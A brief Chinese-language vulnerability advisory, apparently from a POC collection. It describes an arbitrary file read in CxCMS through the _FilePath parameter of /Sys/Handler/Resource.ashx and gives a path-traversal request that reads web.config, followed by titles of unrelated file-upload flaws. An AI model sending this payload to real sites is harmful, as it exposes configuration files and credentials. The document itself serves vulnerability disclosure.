CxCMS 存在任意文件读取,由于 /Sys/Handler/Resource.ashx 页面 _FilePath 参数过滤不严,导致可以读取系统敏感文件。
关键字确认CMS
验证POC
/Sys/Handler/Resource.ashx?_FilePath=../../web.config
OKLite 1.2.25 后台插件安装 任意文件上传 WeiPHP3.0 session_id 任意文件上传漏洞